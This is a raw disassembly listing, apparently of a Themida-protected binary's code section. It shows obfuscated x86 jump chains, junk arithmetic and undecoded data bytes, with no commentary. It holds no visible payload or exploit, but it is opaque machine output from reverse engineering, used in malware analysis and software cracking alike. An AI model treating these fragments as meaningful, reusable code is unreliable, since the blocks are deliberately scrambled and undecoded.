		dd 854690BDh, 0DCBA5242h, 423D334Bh, 0F281DAF7h, 6CF6338Eh
		dd 0BEDFC281h, 0D529944Ah, 8124148Bh, 4C4h, 0E9EF0100h
		dd 4DD1h, 4BF5759h, 1000000h, 243C8BF9h, 11968h, 24048900h
		dd 24E95854h, 81FFFFF2h, 2D45D1E6h, 9FCE8147h, 5154D635h
		dd 129CE9h
		db 0
; ---------------------------------------------------------------------------


loc_506601:				; CODE XREF: Themida_:005048ACj
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_5063C0
; ---------------------------------------------------------------------------
		db 68h
		dd 7F31h, 0FFE302E9h, 2434FFFFh, 81240C8Bh, 4C4h, 2C89E900h
		dd 0E95E0000h, 68C7h, 0DDF8E9ADh, 0E95FFFFFh, 2A3Eh
; ---------------------------------------------------------------------------


loc_506640:				; CODE XREF: Themida_:0050679Cj
		mov	edx, 1
		mov	esi, edx
		pop	edx
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	3DF5h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		jmp	loc_501EFF
; ---------------------------------------------------------------------------


loc_50665E:				; CODE XREF: Themida_:00507595j
		sub	ecx, 0DA85A44Dh
		sub	edx, ecx
		pop	ecx
		jmp	loc_50C9AD
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 83582434h, 1C8904ECh, 0C9B1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50667E:				; CODE XREF: Themida_:0050DDBCj
		push	edx
		mov	edx, 282007ACh
		jmp	loc_507367
; ---------------------------------------------------------------------------


loc_506689:				; CODE XREF: Themida_:00502DEFj
		and	eax, 58326153h
		jmp	loc_50D464
; ---------------------------------------------------------------------------
		db 68h
		dd 18C1h, 0FFFA0BE9h, 3BBF57FFh, 81579A74h, 0F31C48F7h
		dd 5FF8297Eh, 6DFABB53h, 0E3C15028h, 0EC835606h, 24048904h
		dd 0CF605FB8h, 80BD5577h, 0E975CB38h, 0FFFFFE49h, 24048B66h
		dd 8904EC83h, 0EC83241Ch, 24248904h, 4BE56h, 74010000h
		dd 83E90424h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5066EB:				; CODE XREF: Themida_:0050AD85j
		add	ecx, ebp
		pop	ebp
		sub	ecx, 1
		add	ecx, 53043294h
		add	ecx, 0DE47CBB1h
		and	ebp, ecx
		pop	ecx
		sub	ebp, 6A92656Dh
		shl	ebp, 3
		xor	ebp, 68A3B6BFh
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		jmp	loc_5056FC
; ---------------------------------------------------------------------------
		db 59h
		dd 805AD188h, 0E9C0A6C9h, 7E1C005h, 2882F180h, 0BD52E9C8h
		dd 5C01FFFFh, 44810424h, 4F4A0424h, 0FF5B3D25h,	815E2434h
		dd 4C4h, 4C68100h, 55000000h, 2BDh, 8BEE0100h, 0C483242Ch
		dd 2595E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506762:				; CODE XREF: Themida_:005073A1j
		push	edi
		mov	edi, 6255050Ah
		inc	edi
		add	edi, 0D0925C62h
		xor	edi, 21AC5168h
		shl	edi, 2
		add	edi, 3E090AABh
		xor	edi, 0C6A2F4DFh
		sub	ebx, edi
		pop	edi
		jmp	loc_5097EF
; ---------------------------------------------------------------------------


loc_50678C:				; CODE XREF: Themida_:00501BC4j
		inc	bl
		xor	bl, 18h
		dec	bl
		jmp	loc_503AA7
; ---------------------------------------------------------------------------


loc_506798:				; CODE XREF: Themida_:0050A983j
		mov	[esp], esi
		push	edx
		jmp	loc_506640
; ---------------------------------------------------------------------------
		db 0BEh, 0E5h, 5Ch
		dd 0DEF75674h, 0FFB4A9E9h, 1BC681FFh, 5D29C818h, 5C243487h
		dd 0FE9CB353h, 0E9D3F6CBh, 647Fh, 4AE9F301h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5067CB:				; CODE XREF: Themida_:005084F2j
		push	edx
		jmp	loc_503ACD
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0B8500000h, 64DF3B11h, 0C108E0C1h, 0E52503E0h
		dd 2D2F4D26h, 2947FFFCh, 50BE9h, 2E7C100h, 0A485C781h
		dd 0C1818BCBh, 3F1967AFh, 0E981F929h, 3F1967AFh, 93F1815Fh
		dd 293FCC0Ch, 240C8BCBh, 81E18951h, 4C1h, 4C18300h, 0E9240C87h
		dd 0FFFFF096h, 5C243487h, 0E9241C89h, 1F5Fh, 0F74FDFF7h
		dd 81DFF7DFh, 0C32F23EFh, 272BE989h, 89510000h,	0F4E8E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506852:				; CODE XREF: Themida_:00506059j
		add	edx, 4
		jmp	loc_508D52
; ---------------------------------------------------------------------------


loc_50685D:				; CODE XREF: Themida_:00504FCEj
		mov	ecx, 72F71C45h
		sub	ecx, 0FFFFFFFFh
		push	edi
		push	232A2D18h
		pop	edi
		jmp	loc_505A39
; ---------------------------------------------------------------------------
aXb0JrO7hessb	db 'Xƹ0;jR7HEb',0
		dw 8100h
		dd 4ECh, 24348900h, 24348B54h, 5304C483h, 1981E9h, 5E80100h
		dd 4DB41B75h, 378F685Dh, 3C890000h, 13ADBF24h, 22687F04h
		dd 89000046h, 0F7BB241Ch, 0E906DB20h, 5ECEh, 582434FFh
		dd 0E904C483h, 3F7Eh
; ---------------------------------------------------------------------------


loc_5068CC:				; CODE XREF: Themida_:00508D1Cj
		xor	eax, ebp
		push	46ACh
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_5077B0
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 6866C8B6h, 896629A4h, 22E9240Ch, 5BFFFFAFh, 0D931D3F7h
		dd 0D931CB31h, 0C131C831h, 0BF57C831h, 204B5A74h, 0FFE2D4E9h
		dd 24248BFFh, 9C240408h, 0FFAEFCE9h, 3361BBFFh,	81434C55h
		dd 0BA088EE3h, 0EB814B29h, 0BA0DBEACh, 0A5E9DA89h, 87FFFFF5h
		dd 685C241Ch, 76D7h, 30ADE9h, 63686600h, 4896639h, 0AEC7E924h
		dd 0C14AFFFFh, 0EA8102EAh, 7256561Ch, 4342E9h, 51EA8100h
		dd 5F2E610Ah, 5C241487h, 0FF240489h, 0BEE92434h, 2D000037h
		dd 64470E72h, 0BD55D801h, 64470E72h, 0E95DE801h, 714Fh
		dd 0C781E789h, 4, 310EBA52h, 0ABE957EDh, 0C1FFFFC7h, 0BA5204E6h
		dd 1A116CBFh, 50E9D601h, 87000003h, 0D35C2414h,	0E99C2424h
		dd 0FFFFAE5Dh, 58E32859h, 805CB151h, 0E980B7C1h, 0FCE950FFh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5069C7:				; CODE XREF: Themida_:0050A060j
		add	eax, 4E142687h
		push	dword ptr [eax]
		push	ecx
		mov	ecx, 11BA7022h
		jmp	loc_505CBC
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4Fh
		dd 149F669h, 4FEB81F3h,	5E49F669h, 5C241C87h, 9C243CD3h
		dd 0FFAE1CE9h, 5A3D68FFh, 14890000h, 3AB15124h,	0C2802CB2h
		dd 3EAC090h, 5002EAC0h,	0E230D3B4h, 8BCA0058h, 8957240Ch
		dd 4C781E7h, 83000000h,	9DE904C7h, 8300004Dh, 1C8904ECh
		dd 55E38924h, 4730A9BDh, 86E5810Eh, 0E9638266h,	0FFFFDD4Eh
; ---------------------------------------------------------------------------


loc_506A40:				; CODE XREF: Themida_:0050CD99j
		xor	cl, 0BDh
		shr	cl, 6
		jmp	loc_505D1D
; ---------------------------------------------------------------------------
aXXjsdn		db ',xjdn',0
		dd 0C8B6600h, 48C3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506A5E:				; CODE XREF: Themida_:0050BE2Ej
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5087C5
; ---------------------------------------------------------------------------


loc_506A94:				; CODE XREF: Themida_:00507FE0j
		inc	edx
		push	ecx
		jmp	loc_502EAF
; ---------------------------------------------------------------------------


loc_506A9B:				; CODE XREF: Themida_:00509F17j
		or	ebx, 755D7946h
		or	ebx, 155C2A53h
		add	ebx, 6F7210DEh
		add	dword ptr [esp+4], 2C374B8h
		add	[esp+4], ebx
		jmp	loc_502910
; ---------------------------------------------------------------------------


loc_506ABE:				; CODE XREF: Themida_:0050C642j
		mov	edx, 76962EA7h
		jmp	loc_508BE4
; ---------------------------------------------------------------------------
		dd 43FCE681h, 0F6816FBCh, 4A3267F1h, 2D85E9h, 0EDBE5600h
		dd 31584179h, 0F2815EF2h, 1CA07653h, 0FFFFBF57h, 48E9FFFFh
		dd 51000055h, 0FFAEEDE9h, 2A1B05FFh, 0E94031FFh, 0FFFFFA57h
		dd 31243433h, 34332434h, 4BAFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506B12:				; CODE XREF: Themida_:00505718j
		mov	edx, esp
		add	edx, 4
		jmp	loc_507916
; ---------------------------------------------------------------------------
		db 0FFh
		dd 86E92434h, 81000011h, 0E861D2CEh, 5CE68148h,	0E90DF653h
		dd 5A77h, 45B95159h, 1294EABh, 1CE959C8h, 1000002h, 1254E9C6h
		dd 0E7890000h, 1694E9h,	4EC8100h, 89000000h, 0F0BE2434h
		dd 8740B560h, 14F752D6h, 0D6315A24h, 0D631F231h, 4A27E946h
		dd 248B0000h, 0AC93E924h, 152CFFFFh, 2EC81h, 88E90000h
		dd 53000060h, 0D3F6F7B3h, 3F40E9h, 24248B00h, 9C2424D3h
		dd 0FFAC70E9h, 0FBB53FFh, 0B93F1E58h, 3F1E5811h, 0E95BD929h
		dd 2BDCh, 2C629AB9h, 2E9C102h, 78B85057h, 25319B21h, 352775D5h
		dd 286A0135h, 0E9C78972h, 0FFFFC44Ah, 8B240487h, 74E92424h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506BDF:				; CODE XREF: Themida_:005097ADj
		mov	[esp], eax
		jmp	loc_501811
; ---------------------------------------------------------------------------
		db 0FFh
a4Xhk7		db '4$Xh7',0
		align 10h
		dd 89243C89h, 137868E7h, 14890000h, 24BD5524h, 0E97B023Ah
		dd 4D1Bh, 3FC28142h, 0F73E7E51h, 0FB850DAh, 0E9125D60h
		dd 9BBh
; ---------------------------------------------------------------------------


loc_506C1C:				; CODE XREF: Themida_:00507D5Bj
		mov	esi, esp
		push	edx
		push	ebx
		mov	ebx, 796B30DDh
		sub	ebx, 796B30D9h
		jmp	loc_50DB56
; ---------------------------------------------------------------------------
		dd 2434875Fh, 0FFCBDDE9h, 0E9E889FFh, 5288h, 6E91C181h
		dd 0E9010B74h, 6E91E981h, 0E95D0B74h, 5C53h, 0D9F7D1F7h
		dd 73BCF181h, 0E981426Ah, 0E8B5A80Fh, 0EAE9C829h, 5D000039h
		dd 2598BB53h, 0E12D340Dh, 292F8902h, 2E105D8h, 835B2F89h
		dd 348904ECh, 0C1AEBE24h, 0F00108A3h, 0E92434FFh, 4954h
; ---------------------------------------------------------------------------


loc_506C94:				; CODE XREF: Themida_:0050B113j
		shr	edi, 2
		push	edx
		push	ebp
		mov	ebp, 0E6813F04h
		mov	edx, ebp
		pop	ebp
		jmp	loc_503EB2
; ---------------------------------------------------------------------------
		dw 69BFh
		dd 1540C07h, 0DE015FFEh, 769EE81h, 565B540Ch, 0FE9h, 89515800h
		dd 4C181E1h, 0E9000000h, 0FFFFD3ECh, 0EA242C81h, 584E536Ah
		dd 536AEA05h, 24348B4Eh, 0FFBA92E9h, 2474FFFFh,	48F5904h
		dd 24248B24h, 4B30F66h,	1AE99C24h, 5AFFFFABh, 0E95EF029h
		dd 5A64h, 55E9C729h, 0C1FFFFE6h, 0C38102E3h, 0D30467ACh
		dd 815BDF21h, 6E6879F7h, 5FF8293Dh, 83242C8Bh, 0E76804C4h
		dd 8900003Ch, 7FBE2434h, 81407F23h, 0D75752E6h,	0A7F6816Ah
		dd 5365584Ch, 3E1682BBh, 6F80E938h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506D46:				; CODE XREF: Themida_:00504D48j
		sub	ecx, 2F72717Ch
		sub	ecx, 7F956917h
		sub	ecx, 0C905A050h
		jmp	loc_50A2A0
; ---------------------------------------------------------------------------


loc_506D5D:				; CODE XREF: Themida_:00507BBBj
		push	ebp
		jmp	loc_50DC55
; ---------------------------------------------------------------------------
a1S		db '1*(',0
		align 2
		dw 8B66h
		dd 51E92404h, 8B00004Ch, 0C481241Ch, 4,	8B240487h, 1DE92424h
		dd 1000021h, 0C7C181F1h, 0E949E97Dh, 0FFFFEB13h
; ---------------------------------------------------------------------------


loc_506D94:				; CODE XREF: Themida_:00504F9Dj
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_50AAE6
; ---------------------------------------------------------------------------
		db 5Eh
		dd 5C242C87h, 0E9F1F766h, 0FFFFFA9Ah, 5C240C87h, 0FFC1DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506DB9:				; CODE XREF: Themida_:00503CBEj
		mov	[esp], ebp
		jmp	loc_503024
; ---------------------------------------------------------------------------
aSsL		db ')|L',0
		align 4
		dd 22AABA52h, 60E9277Fh, 5900000Eh, 89515304h, 0E4AFE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506DDE:				; CODE XREF: Themida_:00505F83j
		add	edx, 0EFC6B5E0h
		or	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 68CB2C02h
		or	ebx, 79780B29h
		jmp	loc_50758C
; ---------------------------------------------------------------------------


loc_506DF8:				; CODE XREF: Themida_:0050A32Bj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_505E1F
; ---------------------------------------------------------------------------
		dd 0BE665657h, 0B5E9230Eh, 0B900003Fh, 7FE41FE4h, 4EECE181h
		dd 814978F4h, 0FFFFFFE9h, 6BF181FFh, 0E9374A29h, 0FFFFCC39h
		dd 0FFA9DCE9h, 0A9D7E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506E3A:				; CODE XREF: Themida_:0050B537j
		push	edx
		push	esi
		push	20D92A7Ch
		pop	esi
		sub	esi, 0C6930F1Ah
		push	esi
		sub	dword ptr [esp], 46653EC8h
		pop	edx
		add	edx, 46653EC8h
		pop	esi
		push	31C9h
		mov	[esp], esi
		push	eax
		mov	eax, 7FD432EEh
		add	eax, 0ADE1D21Ch
		jmp	loc_5070BD
; ---------------------------------------------------------------------------
		dd 0D50E96B8h, 8E8C134h, 3F34B951h, 0F181156Bh,	4649696Bh
		dd 7E9D1F7h, 59000046h,	4EB81h,	0A6E90000h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506E97:				; CODE XREF: Themida_:00509EFBj
		pop	edi
		not	ebp
		push	edx
		jmp	loc_504CE2
; ---------------------------------------------------------------------------
		dd 0B6EBE95Ch, 74FFFFFFh, 80E90424h, 47000022h,	2B37EF81h
		dd 0FB89ECFFh, 0B0C3815Fh, 127CB04h, 0F7015BDFh, 197AEF81h
		dd 335E3ACCh, 3C31243Ch, 243C3324h, 5FF8E9h, 33EF8100h
		dd 8135C613h, 0BC3E1AC7h, 50475B55h, 5D6DE951h,	0FB010000h
		dd 0FFB758E9h, 0E91389FFh, 5E81h, 81F9015Fh, 0E927DCC1h
		dd 0B4E95F38h, 0F7000062h, 0C1CF87D1h, 0E7C106EFh, 0F1CF8107h
		dd 8110FD17h, 5A2617F7h, 6BF78174h, 0E9C81982h,	0FFFFD000h
		dd 24048B66h, 8904EC83h, 0E2892414h, 0FFEA48E9h, 240489FFh
		dd 0E9241C8Bh, 2901h, 18D568h, 0F127E900h, 34FFFFFFh
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	5D62h
		mov	[esp], esi
		push	eax
		mov	eax, 69E62111h
		sub	eax, 58325D8Dh
		xor	eax, 230E9C45h
		jmp	loc_503879
; ---------------------------------------------------------------------------


loc_506F76:				; CODE XREF: Themida_:00502473j
		mov	esi, 38B57D05h
		add	edx, esi
		pop	esi
		mov	ecx, edx
		pop	edx
		sub	esp, 4
		jmp	loc_509076
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 111EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506F92:				; CODE XREF: Themida_:0050374Dj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_50D2E0
; ---------------------------------------------------------------------------
		dd 2434FF5Fh, 4C4835Fh,	0E904C183h, 0FFFFFE00h,	82CD814Dh
		dd 815FB818h, 0B571EEF5h, 5DE989B3h, 768EEE81h,	0CE01442Ch
		dd 768EC681h, 0C8B442Ch, 4C48124h, 89000000h, 0E2C15EF2h
		dd 42D2F705h, 3DCDCA81h, 0CEE95DF8h, 0BD00004Dh, 61965EECh
		dd 3034E9h, 24143300h, 4EC835Ch, 89241C89h, 1DBA52E3h
		dd 4A497946h, 0C9E95653h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50700F:				; CODE XREF: Themida_:0050D523j
		add	ecx, 4
		jmp	loc_502C78
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 52532404h, 82E9E289h, 51000022h, 0C1FE24B1h,	0E908E9C0h
		dd 24A6h
; ---------------------------------------------------------------------------


loc_507034:				; CODE XREF: Themida_:00503A03j
		push	eax
		jmp	loc_507DA8
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1E0920B0h, 3535E9h
		db 0
; ---------------------------------------------------------------------------


loc_507045:				; CODE XREF: Themida_:00503C48j
		push	ebx
		push	ebp
		jmp	loc_5086D4
; ---------------------------------------------------------------------------
		dd 31241C33h, 27E9241Ch, 5B00004Bh, 8FF6C681h, 0F3017D31h
		dd 0FFA925E9h, 77E95AFFh, 89000037h, 74FF2434h,	8F5E0424h
		dd 248B2404h, 4C48324h,	9C240CFFh, 0FFA78CE9h, 5A5452FFh
		dd 0FFAC44E9h, 0F0315DFFh, 8324348Bh, 0EC8304C4h, 24048904h
		dd 0AC7856B8h, 6CE9571Fh, 0BDFFFFB4h, 29A62A86h, 0AB755205h
		dd 2DE80109h, 9AB7552h,	279E9h
		db 0
; ---------------------------------------------------------------------------


loc_5070BD:				; CODE XREF: Themida_:00506E6Bj
		mov	esi, eax
		pop	eax
		shr	esi, 6
		dec	esi
		not	esi
		xchg	edi, esi
		jmp	loc_5073A6
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 95h
		dd 29FFFFCEh, 242C8BEFh, 0E9E28952h, 229Bh, 0BA52E789h
		dd 2A7F3D15h, 20C4E9h, 0B1515000h, 0BDB470h, 0F8BAE9CCh
		dd 0E1C0FFFFh, 5EB1E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507102:				; CODE XREF: Themida_:00503F27j
		add	esp, 4
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 73DE34EDh
		xor	ebp, 56464124h
		shl	ebp, 4
		dec	ebp
		add	ebp, 611D558Eh
		xor	ebp, 0BAA4B219h
		add	esi, ebp
		pop	ebp
		jmp	loc_50BF96
; ---------------------------------------------------------------------------


loc_507132:				; CODE XREF: Themida_:00505EFAj
		sub	esi, 1E550376h
		dec	esi
		jmp	loc_501995
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 7AD975C5h, 1EF4E9h, 4C48300h, 5966C830h, 4EC81h, 4890000h
		dd 0E9B7B024h, 49AFh, 0E9FFC180h, 0FFFFD00Fh, 0D800792Ch
		dd 245068h, 240C8900h, 0F58053B5h, 0E9DDF66Ch, 0FFFFD7A7h
		dd 0EB805866h, 0CFB252FFh, 0E95AD328h, 3E9Dh, 81C3005Ch
		dd 2ECh, 0C896600h, 0E974B524h,	3EDDh, 53585450h, 4BBh
		dd 0F7BDE900h, 0E7C1FFFFh, 47D7F702h, 0CF81D7F7h, 68096125h
		dd 0FFCF18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5071C5:				; CODE XREF: Themida_:00509605j
		push	ecx
		jmp	loc_50C8D4
; ---------------------------------------------------------------------------
		db 0B8h
		dd 68D725C9h, 375A8635h, 0C5F1E94Ah, 0BF57FFFFh, 6C7E5401h
		dd 6EFCF781h, 0F7811817h, 57D52970h, 3C8BF801h,	4C48324h
		dd 0E5BE56h, 0D22D6402h, 0E901ED2Ch, 5221h
; ---------------------------------------------------------------------------


loc_507204:				; CODE XREF: Themida_:00509B71j
		mov	ecx, [esp]
		jmp	loc_509EE5
; ---------------------------------------------------------------------------
		dd 2B44C781h, 0EFC15546h, 0D5BB5305h, 81422B45h, 0B04DDDE3h
		dd 0C2CB8122h, 0E957FF49h, 460h, 8137CF05h, 232FE9FFh
		dd 52680000h, 8900002Ah, 5E542434h, 4BCDE9h, 5FF80100h
		dd 6804C083h, 146Fh, 0E9240489h, 4755h
; ---------------------------------------------------------------------------


loc_507258:				; CODE XREF: Themida_:0050CDBEj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_505BD8
; ---------------------------------------------------------------------------


loc_507275:				; CODE XREF: Themida_:00505550j
		mov	ebp, edx
		push	2B2Eh
		mov	[esp], ebp
		add	dword ptr [esp], 4BCD5480h
		jmp	loc_503C45
; ---------------------------------------------------------------------------
		db 8Bh
		dd 39E9240Ch, 89FFFFE2h, 646E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50729A:				; CODE XREF: Themida_:00508BECj
		pop	ecx
		jmp	loc_5052DD
; ---------------------------------------------------------------------------
		dd 5B5EF789h, 0F5E9F901h, 87FFFFFCh, 248B241Ch,	2434FF24h
		dd 51240C8Bh, 4334E9h, 56415900h, 0BEh,	893E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5072CA:				; CODE XREF: Themida_:0050D011j
		not	edx
		xor	edx, 0DF06B58h
		dec	edx
		not	edx
		jmp	loc_508F28
; ---------------------------------------------------------------------------


loc_5072DA:				; CODE XREF: Themida_:00502F2Ej
		add	edx, eax
		sub	edx, 55F67F32h
		add	edx, 77F91FA2h
		push	ecx
		jmp	loc_50C099
; ---------------------------------------------------------------------------
		dw 368h
		dd 89000027h, 0BA522424h, 4, 4245401h, 0C3815B5Ah, 4, 4B850h
		dd 0C3010000h, 241C3358h, 33241C31h, 31E9241Ch,	89FFFFF0h
		dd 0CDBE56E3h, 0F73D3C33h, 81EED1DEh, 61E615EEh, 0F48EE961h
		dd 55DFFFFh, 0DAD4551h,	512DC829h, 520DAD45h, 986539BAh
		dd 0BFF28139h, 0E9103E4Fh, 66B6h, 0E904C483h, 0FFFFB73Bh
; ---------------------------------------------------------------------------


loc_50735C:				; CODE XREF: Themida_:00504FD9j
		add	ebp, 4
		jmp	loc_506358
; ---------------------------------------------------------------------------


loc_507367:				; CODE XREF: Themida_:00506684j
		xor	eax, edx
		pop	edx
		and	ecx, eax
		pop	eax
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	1105h
		jmp	loc_50A2FC
; ---------------------------------------------------------------------------


loc_507387:				; CODE XREF: Themida_:00507ABFj
		mov	[esp], ecx
		push	65A9h
		mov	[esp], ebx
		mov	ebx, 76874DB2h
		inc	ebx
		sub	ebx, 5724F97h
		add	ebx, 0FFFFFFFFh
		jmp	loc_506762
; ---------------------------------------------------------------------------


loc_5073A6:				; CODE XREF: Themida_:005070C8j
		dec	edi
		jmp	loc_508323
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFCE16h
; ---------------------------------------------------------------------------


loc_5073B4:				; CODE XREF: Themida_:0050CE6Ej
		or	eax, eax
		jz	loc_5091E8
		push	eax
		mov	eax, 1Ch
		add	eax, 61950C92h
		push	esi
		jmp	loc_5051AF
; ---------------------------------------------------------------------------
		db 68h,	0E5h, 6Dh
		dd 24890000h, 24048324h, 74E95B04h, 81FFFFB4h, 5D20FEFh
		dd 26EE81AFh, 1118C7Ch,	5DADE9FEh, 34FF0000h, 5E95A24h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5073FB:				; CODE XREF: Themida_:0050B789j
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 4
		jmp	loc_508EC1
; ---------------------------------------------------------------------------
		dw 0C331h
		dd 16C38158h, 0C128662Dh, 0C38104E3h, 7DBB1B79h, 4F8DC381h
		dd 0BF57BF74h, 61C66AB2h, 7714C781h, 0E7C12790h, 1DCBE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50743A:				; CODE XREF: Themida_:005018CAj
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_501811
; ---------------------------------------------------------------------------
		db 29h
		dd 0E8EA81F2h, 8174390Ch, 0F73D58C2h, 0CFEEE921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507462:				; CODE XREF: Themida_:00505AB0j
		mov	dh, [esp]
		jmp	loc_50A9E1
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E1895124h, 4C181h, 0E9830000h, 0AA52E904h, 0F74AFFFFh
		dd 9BC281D2h, 9E55FB9h,	0E7C15AD7h, 0C4B95106h,	315E9F6Dh
		dd 0C38159CFh, 39041AFDh, 0E951FB01h, 3B95h
; ---------------------------------------------------------------------------


loc_5074A4:				; CODE XREF: Themida_:00504576j
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, 33321DBAh
		or	esi, 5F083161h
		and	esi, 79F713B8h
		push	478Fh
		mov	[esp], ebp
		mov	ebp, 6A1C2712h
		dec	ebp
		push	eax
		mov	eax, 6CEA26C5h
		sub	eax, 251615h
		or	eax, 0E2B5261h
		sub	eax, 3A184846h
		jmp	loc_5045A2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 0A31FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5074F2:				; CODE XREF: Themida_:0050D703j
		push	eax
		mov	eax, 219F20CFh
		sub	ebp, eax
		pop	eax
		jmp	loc_50811D
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 68582434h, 0A01h, 54243489h, 4DBF575Eh
		dd 516ACF7Dh, 1C4E89B9h, 61EEE925h, 0ED810000h,	27616C32h
		dd 2101EE81h, 0EE2954BCh, 2101C681h, 875D54BCh,	895C2434h
		dd 7DE9241Ch, 5AFFFFD0h, 2B2268h, 24048900h, 846775B8h
		dd 0DF05487Dh, 0D107810Dh, 5BBE56E8h, 1BD7D45h,	2CE95EF0h
		dd 33FFFFDFh, 4312404h,	0A29FE924h, 0C483FFFFh,	0A297E904h
		dd 4BFFFFFh, 81000000h,	561E0E9h, 0E9F9015Eh, 9B3h
; ---------------------------------------------------------------------------


loc_50758C:				; CODE XREF: Themida_:00506DF3j
		xor	ebx, 7F5803B2h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_50665E
; ---------------------------------------------------------------------------


loc_50759A:				; CODE XREF: Themida_:00509FDAj
		not	edx
		jmp	loc_504D86
; ---------------------------------------------------------------------------
		db 29h,	34h, 24h
		dd 1CBF575Eh, 81173144h, 0DA07F5EEh, 81FE012Eh,	0DA07F5C6h
		dd 5170E92Eh, 14870000h, 3A32E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5075C6:				; CODE XREF: Themida_:0050BCF9j
		add	ebx, esi
		pop	esi
		push	ebp
		jmp	loc_50D6FC
; ---------------------------------------------------------------------------
		db 80h
		dd 0E6E9BAEEh, 81FFFFB9h, 206A19C2h, 0E9C22937h, 6240h
		dd 4F57F281h, 0EA8177CFh, 31DE4960h, 0E95AD001h, 32D4h
		dd 17536866h, 24148966h, 2474FF66h, 148B6602h, 5162E924h
		dd 0C4830000h, 24048F04h, 240CD25Ch, 0A1F3E99Ch, 895CFFFFh
		dd 0B8E9240Ch
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_507627:				; CODE XREF: Themida_:00509079j
		mov	esi, 55C31062h
		shr	esi, 6
		and	esi, 134E4A53h
		jmp	loc_503977
; ---------------------------------------------------------------------------
		dw 0D2E9h
		dd 50FFFFA1h, 4B8h, 58C10100h, 4C181h, 0C870000h, 34FF5C24h
		dd 0E220E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50765A:				; CODE XREF: Themida_:00505658j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, 19593852h
		sub	ebp, ebx
		jmp	loc_509797
; ---------------------------------------------------------------------------
		db 81h
		dd 0B22D44EFh, 5FF9313Bh, 0DD1DE981h, 0C889A6C0h, 0E9240C8Bh
		dd 607Ch, 32AAEB81h, 0F3815BDBh, 89C12A57h, 1C8BDF31h
		dd 4C48324h, 2CA1E9h, 3C8B5400h, 4C48324h, 54C9E9h, 5BF82800h
		dd 604D828h, 0FC3305Bh,	0EF68C0B6h, 89000016h, 8950241Ch
		dd 45BE56E0h, 4E553722h, 6171CE81h, 0E9536950h,	0FFFFDFF7h
; ---------------------------------------------------------------------------


loc_5076DC:				; CODE XREF: Themida_:00508E9Fj
		sub	eax, 548D4506h
		sub	esp, 4
		mov	[esp], ebx
